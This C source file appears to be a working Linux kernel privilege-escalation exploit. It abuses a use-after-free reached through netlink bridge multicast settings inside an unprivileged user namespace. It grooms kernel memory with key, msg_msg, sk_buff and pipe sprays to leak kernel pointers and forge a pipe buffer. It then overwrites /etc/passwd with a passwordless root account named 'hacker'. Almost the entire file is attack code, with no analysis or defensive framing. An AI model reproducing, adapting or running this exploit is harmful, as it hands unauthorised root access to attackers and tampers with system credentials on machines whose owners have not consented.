#define _GNU_SOURCE
#include <sched.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if.h>
#include <linux/if_link.h>
#include <linux/if_bridge.h>
#include <errno.h>
#include <time.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/resource.h>

#undef IFLA_BR_MULTI_BOOLOPT
#define IFLA_BR_MULTI_BOOLOPT 46

#ifndef BR_BOOLOPT_MCAST_VLAN_SNOOPING
#define BR_BOOLOPT_MCAST_VLAN_SNOOPING 1
#endif

#ifndef NLA_F_NESTED
#define NLA_F_NESTED (1 << 15)
#endif

#define SPRAY_NUM 19

int key_id[SPRAY_NUM];

extern unsigned int if_nametoindex(const char *__ifname);

struct iplink_req {
    struct nlmsghdr     n;
    struct ifinfomsg    i;
    char                buf[2048];
};

#define NLMSG_TAIL(nmsg) \
    ((struct rtattr *) (((void *) (nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))

int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data, int alen) {
    int len = RTA_LENGTH(alen);
    struct rtattr *rta;
    if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) return -1;
    rta = NLMSG_TAIL(n);
    rta->rta_type = type;
    rta->rta_len = len;
    if (data) memcpy(RTA_DATA(rta), data, alen);
    n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);
    return 0;
}

struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type) {
    struct rtattr *nest = NLMSG_TAIL(n);
    addattr_l(n, maxlen, type | NLA_F_NESTED, NULL, 0);
    return nest;
}

int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest) {
    nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest;
    return n->nlmsg_len;
}

int build_stack_argv(char **def, char *buf, int buflen, char **argv) {
    int i = 0;
    char *p = buf;
    while (def[i] != NULL && i < 15) {
        int len = strlen(def[i]) + 1;
        if ((p - buf) + len > buflen) break;
        memcpy(p, def[i], len);
        argv[i] = p;
        p += len;
        i++;
    }
    argv[i] = NULL;
    return i;
}

int iplink_parse(int argc, char **argv, struct iplink_req *req) {
    struct rtattr *linkinfo = NULL;
    struct rtattr *data = NULL;
    int is_slave = 0;

    for (int i = 0; i < argc; i++) {
        if (strcmp(argv[i], "name") == 0 || strcmp(argv[i], "dev") == 0) {
            char *name = argv[++i];
            addattr_l(&req->n, sizeof(*req), IFLA_IFNAME, name, strlen(name) + 1);
            unsigned int idx = if_nametoindex(name);
            if (idx > 0) req->i.ifi_index = idx;
        } else if (strcmp(argv[i], "up") == 0) {
            req->i.ifi_change |= IFF_UP;
            req->i.ifi_flags |= IFF_UP;
        } else if (strcmp(argv[i], "master") == 0) {
            unsigned int ifindex = if_nametoindex(argv[++i]);
            if (ifindex) addattr_l(&req->n, sizeof(*req), IFLA_MASTER, &ifindex, 4);
        } else if (strcmp(argv[i], "type") == 0) {
            char *type = argv[++i];
            if (strcmp(type, "bridge_slave") == 0) {
                is_slave = 1;
                type = "bridge"; 
            }
            linkinfo = addattr_nest(&req->n, sizeof(*req), IFLA_LINKINFO);
            addattr_l(&req->n, sizeof(*req), IFLA_INFO_KIND, type, strlen(type));
            data = addattr_nest(&req->n, sizeof(*req), is_slave ? IFLA_INFO_SLAVE_DATA : IFLA_INFO_DATA);
        } else if (strcmp(argv[i], "vlan_filtering") == 0) {
            __u8 val = atoi(argv[++i]);
            addattr_l(&req->n, sizeof(*req), IFLA_BR_VLAN_FILTERING, &val, 1);
        } else if (strcmp(argv[i], "mcast_snooping") == 0) {
            __u8 val = atoi(argv[++i]);
            addattr_l(&req->n, sizeof(*req), IFLA_BR_MCAST_SNOOPING, &val, 1);
        } else if (strcmp(argv[i], "mcast_vlan_snooping") == 0) {
            __u8 val = atoi(argv[++i]);
            struct br_boolopt_multi bm;
            memset(&bm, 0, sizeof(bm));
            bm.optmask = (1 << BR_BOOLOPT_MCAST_VLAN_SNOOPING);
            bm.optval = val ? (1 << BR_BOOLOPT_MCAST_VLAN_SNOOPING) : 0;
            addattr_l(&req->n, sizeof(*req), IFLA_BR_MULTI_BOOLOPT, &bm, sizeof(bm));
        } else if (strcmp(argv[i], "mcast_router") == 0) {
            __u8 val = atoi(argv[++i]);
            addattr_l(&req->n, sizeof(*req), IFLA_BRPORT_MULTICAST_ROUTER, &val, 1);
        }
    }
    if (data) addattr_nest_end(&req->n, data);
    if (linkinfo) addattr_nest_end(&req->n, linkinfo);
    return 0;
}

int rtnl_talk(struct nlmsghdr *n) {
    int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
    if (fd < 0) return -1;
    struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
    n->nlmsg_seq = (unsigned int)time(NULL);
    n->nlmsg_flags |= NLM_F_ACK;

    if (sendto(fd, n, n->nlmsg_len, 0, (struct sockaddr *)&nladdr, sizeof(nladdr)) < 0) {
        close(fd); return -1;
    }

    char buf[4096];
    int status = recv(fd, buf, sizeof(buf), 0);
    if (status > 0) {
        struct nlmsghdr *h = (struct nlmsghdr *)buf;
        if (h->nlmsg_type == NLMSG_ERROR) {
            struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(h);
            if (err->error < 0) {
                close(fd); return -1;
            }
        }
    }
    close(fd);
    return 0;
}

int iplink_modify(int cmd, unsigned int flags, int argc, char **argv) {
    struct iplink_req req;
    memset(&req, 0, sizeof(req));
    req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
    req.n.nlmsg_flags = NLM_F_REQUEST | flags;
    req.n.nlmsg_type = cmd;
    req.i.ifi_family = AF_UNSPEC;
    
    iplink_parse(argc, argv, &req);
    return rtnl_talk(&req.n);
}

void ns_setup(){
    int fd;
    char buff[0x100];

    if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
        exit(-1);
    }

    if (unshare(CLONE_NEWNET)) {
        exit(-1);
    }

    fd = open("/proc/self/setgroups", O_WRONLY);
    snprintf(buff, sizeof(buff), "deny");
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", getuid());
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", getgid());
    write(fd, buff, strlen(buff));
    close(fd);
}

void bind_core(int id){
    cpu_set_t mask;
	CPU_ZERO(&mask);
	CPU_SET(id, &mask);
	sched_setaffinity(0, sizeof(mask), &mask);
}

int alloc_payload(int index,size_t inject_val, int uaf_write) {
    char description[32];
    snprintf(description, sizeof(description), "key-%06d", index);
    size_t len = strlen(description);
    if (len < 31) {
        memset(description + len, 'A', 31 - len);
    }
    description[31] = '\0';

    size_t plen = 1024 - 24; 
    char *payload = calloc(1, plen);
    if (!payload) return -1;
    if (inject_val != 0) {
        *(size_t *)(payload + 0x130-0x18) = inject_val;
        if(uaf_write){
            *(size_t *)(payload + 0x198-0x18) = inject_val+0x28;
            *(size_t *)(payload + 0x200-0x18) = inject_val+0x8;
        }else
        {
            *(size_t *)(payload + 0x198-0x18) = inject_val+0x8;
            *(size_t *)(payload + 0x200-0x18) = inject_val+0x18;   
        }
    }

    long key_id = syscall(SYS_add_key, "user", description, payload, plen, KEY_SPEC_SESSION_KEYRING);

    free(payload);
    return (int)key_id;
}

size_t uaf_ptr = 0;
int leak_ptr(int align) {
    char buf[1024];
    for (int i = 0; i < SPRAY_NUM; i++) {
        if (syscall(SYS_keyctl, KEYCTL_READ, key_id[i], buf, sizeof(buf)) > 0) {
            size_t val = *(size_t *)(buf + 0x1a0-0x18);
            if (val != 0) {
                if(align){
                    uaf_ptr = (val-0x198)&0xfffffffffffff000;
                }else{
                    uaf_ptr = val-0x198;
                }
                printf("idx %d: uaf_ptr = 0x%lx\n", i, uaf_ptr);
                return 0;
            }
        }
    }
    return -1;
}

int create_dummy_device(int idx) {
    char name_buf[16];
    char buffer[512];
    char *argv[16];
    int argc;

    snprintf(name_buf, sizeof(name_buf), "dm_%d", idx);

    char *cmd[] = {
        "name", name_buf, 
        "up", 
        "master", "br1", 
        "type", "dummy", 
        NULL
    };

    argc = build_stack_argv(cmd, buffer, sizeof(buffer), argv);

    return iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv);
}

int delete_dummy_device(int idx) {
    char name_buf[16];
    char buffer[512];
    char *argv[16];
    int argc;

    snprintf(name_buf, sizeof(name_buf), "dm_%d", idx);

    char *cmd[] = {"dev", name_buf, NULL};

    argc = build_stack_argv(cmd, buffer, sizeof(buffer), argv);

    return iplink_modify(RTM_DELLINK, 0, argc, argv);
}


#define MSG_NUM 2048
int msg_id[MSG_NUM];

#define PIPE_NUM 2048
int pipefds[PIPE_NUM][2];

struct msg_buf {
    long mtype;
    char mtext[4552];
};

void spray_msg_msg() {
    struct msg_buf msg;

    memset(msg.mtext, 0, sizeof(msg.mtext));
    for (int i = 0; i < MSG_NUM; i++) {
        msg.mtype = i+1;
        msg_id[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
        if (msg_id[i] < 0) {
            perror("[x]msgget failed");
            exit(-1);
        }
        if(msgsnd(msg_id[i], &msg, sizeof(msg.mtext), 0) < 0) {
            perror("[x]msgsnd failed");
            exit(-1);
        }
        if(fcntl(pipefds[i][0], F_SETPIPE_SZ, 0x1000) < 0){
            perror("[x]fcntl failed");
            exit(-1);
        }
    }
}

size_t kernel_base=0;

int trig_uaf_spray(size_t uaf_ptr,size_t count,int uaf_write) {
    int argc;
    char buffer[512];
    char *argv[16];

    char *cmd1[] = {"name", "br1", "up", "type", "bridge", "vlan_filtering", "1", "mcast_snooping", "1", NULL};
    argc = build_stack_argv(cmd1, buffer, sizeof(buffer), argv);
    if (iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv)) return -1;
    usleep(10000);

    char *cmd2[] = {"name", "dummy1", "up", "master", "br1", "type", "dummy", NULL};
    argc = build_stack_argv(cmd2, buffer, sizeof(buffer), argv);
    if (iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv)) return -1;
    usleep(10000);

    char *mods[][10] = {
        {"dev", "dummy1", "type", "bridge_slave", "mcast_router", "2", NULL},
        {"dev", "br1", "type", "bridge", "mcast_vlan_snooping", "1", NULL},
        {"dev", "dummy1", "type", "bridge_slave", "mcast_router", "0", NULL},
        {"dev", "dummy1", "type", "bridge_slave", "mcast_router", "2", NULL}
    };
    for (int i = 0; i < 4; i++) {
        argc = build_stack_argv(mods[i], buffer, sizeof(buffer), argv);
        if (iplink_modify(RTM_NEWLINK, 0, argc, argv)) return -1;
        usleep(10000);
    }

    char *cmd7[] = {"dev", "dummy1", NULL};
    argc = build_stack_argv(cmd7, buffer, sizeof(buffer), argv);
    if (iplink_modify(RTM_DELLINK, 0, argc, argv)) return -1;
    usleep(20000);

    for (int i = 0; i < SPRAY_NUM; i++) {
        key_id[i] = alloc_payload(i,uaf_ptr,uaf_write);
        if (key_id[i] < 0) return -1;
    }

    for (int i = 0; i < count/4*3; i++) {
        create_dummy_device(i);
        usleep(10000);
    }
    char *cmd8[] = {"name", "dummy2", "up", "master", "br1", "type", "dummy", NULL};
    argc = build_stack_argv(cmd8, buffer, sizeof(buffer), argv);
    if (iplink_modify(RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, argc, argv)) return -1;
    usleep(10000);
    for (int i = count/4*3; i < count; i++) {
        create_dummy_device(i);
        usleep(10000);
    }

    //pipe(pipefd);
    char *cmd9[] = {"dev", "dummy2", "type", "bridge_slave", "mcast_router", "2", NULL};
    argc = build_stack_argv(cmd9, buffer, sizeof(buffer), argv);
    if (iplink_modify(RTM_NEWLINK, 0, argc, argv)) return -1;

    for (int i = 0; i < count/4*3; i++) delete_dummy_device(i);
    char *cmd10[] = {"dev", "dummy2", NULL};
    argc = build_stack_argv(cmd10, buffer, sizeof(buffer), argv);
    iplink_modify(RTM_DELLINK, 0, argc, argv);
    char *cmd11[] = {"dev", "br1", NULL};
    argc = build_stack_argv(cmd11, buffer, sizeof(buffer), argv);
    iplink_modify(RTM_DELLINK, 0, argc, argv);
    for (int i = count/4*3; i < count; i++) delete_dummy_device(i);

    //pipe(pipefd);
    return 0;
}

int lift_limit(){
	struct rlimit max_file;
	getrlimit(RLIMIT_NOFILE,&max_file);
	max_file.rlim_cur=max_file.rlim_max;
	setrlimit(RLIMIT_NOFILE,&max_file);
	return max_file.rlim_cur;
}

void prepare(){
    for(int i=0;i<PIPE_NUM;i++){
        if(pipe(pipefds[i]) < 0){
            perror("[x]pipe failed");
            exit(-1);
        }
    }
    for (size_t i = 0; i < PIPE_NUM; i++)
    {
        if(fcntl(pipefds[i][0], F_SETPIPE_SZ, 0x8000) < 0){
            perror("[x]fcntl failed");
            exit(-1);
        }
    }
}

#define SOCK_NUM 16
#define SK_BUFF_NUM 128
#define SPRAY_SOCK 64

int sk_sockets[SOCK_NUM][2];
int spray_skb[SPRAY_SOCK][2];

int init_socket_array(int (*sk_array)[2],int count)
{
    for (int i = 0; i < count; i++) {
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_array[i]) < 0) {
            printf("[x] failed to create no.%d socket pair!\n", i);
            return -1;
        }
    }
    return 0;
}

int spray_sk_buff(int (*sk_array)[2], void *buf, size_t size,int count)
{
    for (int i = 0; i < count; i++) {
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            if (write(sk_array[i][0], buf, size) < 0) {
                printf("[x] failed to spray %d sk_buff for %d socket!", j, i);
                return -1;
            }
        }
    }

    return 0;
}

int free_sk_buff(int (*sk_array)[2], void *buf, size_t size,int count)
{
    for (int i = 0; i < count; i++) {
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            if (read(sk_array[i][1], buf, size) < 0) {
                puts("[x] failed to received sk_buff!");
                return -1;
            }
        }
    }

    return 0;
}

size_t page_ptr=-1;
size_t anon_pipe_ops=-1;

void exploit(){
    struct msg_buf msg;
    memset(msg.mtext, 0, sizeof(msg.mtext));
    char *buf=malloc(1024);
    prepare();
    init_socket_array(sk_sockets,SOCK_NUM);
    init_socket_array(spray_skb,SPRAY_SOCK);
    for (int i = 0; i < 1024; i++) {
        msg_id[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
        if (msg_id[i] < 0) {
            perror("[x]msgget failed");
            exit(-1);
        }
        for (int j = 0; j < 8; j++) {
            msg.mtype = i + 1;
            if(msgsnd(msg_id[i], &msg, 768, 0) < 0) {
                perror("[x]msgsnd failed");
                exit(-1);
            }
        }
    }
    spray_sk_buff(sk_sockets, buf, 384,0x10);
    for (int i = 0; i < 1024; i++) {
        msg.mtype = i+1;
        msg_id[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
        if (msg_id[i] < 0) {
            perror("[x]msgget failed");
            exit(-1);
        }
        if(msgsnd(msg_id[i], &msg, sizeof(msg.mtext), 0) < 0) {
            perror("[x]msgsnd failed");
            exit(-1);
        }
    }
    for (int i = 0; i < 1024; i++)
    {
        msg.mtype = i + 1;
        if(msgrcv(msg_id[i], &msg, sizeof(msg.mtext), msg.mtype, 0) < 0) {
            perror("[x]msgrcv failed");
            exit(-1);
        }
    }
    trig_uaf_spray(0,256,0);
    if(leak_ptr(1)){
        printf("[-]leak_ptr failed!\n");
        exit(-1);
    };
    sleep(1);
    spray_msg_msg();
    free_sk_buff(sk_sockets, buf, 384,0x10);
    //pipe(pipefd);
    trig_uaf_spray(uaf_ptr+0x10,128,0);
    sleep(1);
    spray_sk_buff(sk_sockets, buf, 0x10, 8);
    spray_sk_buff(sk_sockets, buf, 0x10, 6);
    for (size_t i = 0; i < PIPE_NUM; i++)
    {
        if(fcntl(pipefds[i][0], F_SETPIPE_SZ, 0x1000*8) < 0){
            perror("[x]fcntl failed");
            exit(-1);
        }
    }
    for (size_t i = 0; i < PIPE_NUM; i++)
    {
        write(pipefds[i][1], "AAAA", 4);
    }
    puts("done");
    puts("done");
    open("/proc/self/stat",0);
    for (int i = 0; i < MSG_NUM; i++)
    {
        if(msgrcv(msg_id[i], &msg, sizeof(msg.mtext), 0, IPC_NOWAIT | MSG_COPY) < 0) {
            perror("[x]msgrcv failed");
            exit(-1);
        }
        size_t *ptr = (size_t *)msg.mtext;
        if(ptr[518]>0xffffea0000000000 && ptr[520]>0xffffffff81000000 && (ptr[520]&0xfff)==0xe80){
            page_ptr=ptr[518];
            anon_pipe_ops=ptr[520];
            printf("[+]Found page_ptr: 0x%lx at idx_0x%x\n", page_ptr, i);
            //break;
        }
    }
    if(page_ptr==-1){
        printf("[-]page_ptr not found!\n");
        exit(-1);
    }
    free_sk_buff(sk_sockets, buf, 0x10,6);
    free_sk_buff(sk_sockets, buf, 0x10,8);
    for (size_t i = 0; i < PIPE_NUM; i++)
    {
        close(pipefds[i][0]);
        close(pipefds[i][1]);
    }
    memset(buf,'C',sizeof(buf));
    spray_sk_buff(spray_skb, buf, 384,SPRAY_SOCK);
    sleep(1);
    memset(buf,0,sizeof(buf));
    spray_sk_buff(sk_sockets, buf, 384,0x10);
    trig_uaf_spray(0,96,0);
    if(leak_ptr(1)){
        printf("[-]leak_ptr failed!\n");
        exit(-1);
    };
    sleep(1);
    /*
    maybe should let pipe_inode_info hold the uaf_memory.
    */
    for (size_t i = 0; i < 4; i++) //maybe need modify?
    {
        for (size_t j = 0; j < MSG_NUM; j++)
        {
            if (i == 3 && j >= MSG_NUM / 2) {
                break;
            }
            msg.mtype = (i<<24) | (j + 1);
            if(msgsnd(msg_id[j], &msg, 128, IPC_NOWAIT) < 0) {
                perror("[x]msgsnd failed");
                exit(-1);
            }
        }
    }
    for (size_t j = 0; j < MSG_NUM; j++)
    {
        msg.mtype = (j<<32) | (j + 1);
        if(msgsnd(msg_id[j], &msg, 4196, IPC_NOWAIT) < 0) {
            perror("[x]msgsnd failed");
            exit(-1);
        }
    }
    puts("done1");
    puts("done1");
    open("/proc/self/stat",0);
    for (size_t j = 0; j < MSG_NUM; j++)
    {
        msg.mtype = (j<<32) | (j + 1);
        if(msgrcv(msg_id[j], &msg, 4196, msg.mtype, IPC_NOWAIT|MSG_NOERROR) < 0) {
            perror("[x]msgrcv failed");
            exit(-1);
        }
        if(pipe(pipefds[j]) < 0){
            perror("[x]pipe failed");
            exit(-1);
        }
    }
    for (size_t i = 0; i < PIPE_NUM; i++)
    {
        if(write(pipefds[i][1], "BBBB", 4) < 0){
            perror("[x]write failed");
            exit(-1);
        }
    }
    free_sk_buff(sk_sockets, buf, 384,0x10);
    trig_uaf_spray(uaf_ptr+0x88,96,1);
    size_t *fake_pipe_buffer=(size_t *)&msg.mtext[0x200-0x30];
    fake_pipe_buffer[0]=page_ptr;
    fake_pipe_buffer[1]=0;
    fake_pipe_buffer[2]=anon_pipe_ops;
    fake_pipe_buffer[3]=0x10;
    for (size_t j = 0; j < MSG_NUM; j++)
    {
        msg.mtype = j + 1;
        if(msgsnd(msg_id[j], &msg, 768, IPC_NOWAIT) < 0) {
            perror("[x]msgsnd failed");
            exit(-1);
        }
    }
    /*
    maybe should found the uaf_page and release,let filp in the hole.
    */
    free_sk_buff(spray_skb, buf, 384,SPRAY_SOCK);
    spray_sk_buff(spray_skb, buf, 384,SPRAY_SOCK/6);
    int *fds=(int*)malloc(sizeof(int)*0x70000);
    for (size_t i = 0; i < 0x70000; i++)
    {
        if ((fds[i]=open("/etc/passwd",0)) < 0)
        {
            perror("[x]open failed");
            exit(-1);
        }
        
    }
    size_t data[4];
	data[0]=1;
	data[1]=0x084f801f00000000;
	for (size_t i = 0; i < PIPE_NUM; i++)
	{
		write(pipefds[i][1], (char*)data, 0x10);
	}
    puts("done2");
    puts("done2");
    open("/proc/self/stat",0);
    for (size_t i = 0; i < 0x10000; i++)
	{
		if(write(fds[i],"hacker::0:0:root:/root:/bin/bash\n",34)>0){
			puts("hacker done");
			exit(0);
		}
	}
}

int main() {
    bind_core(0);
    ns_setup();
    lift_limit();
    exploit();
    return 0;
}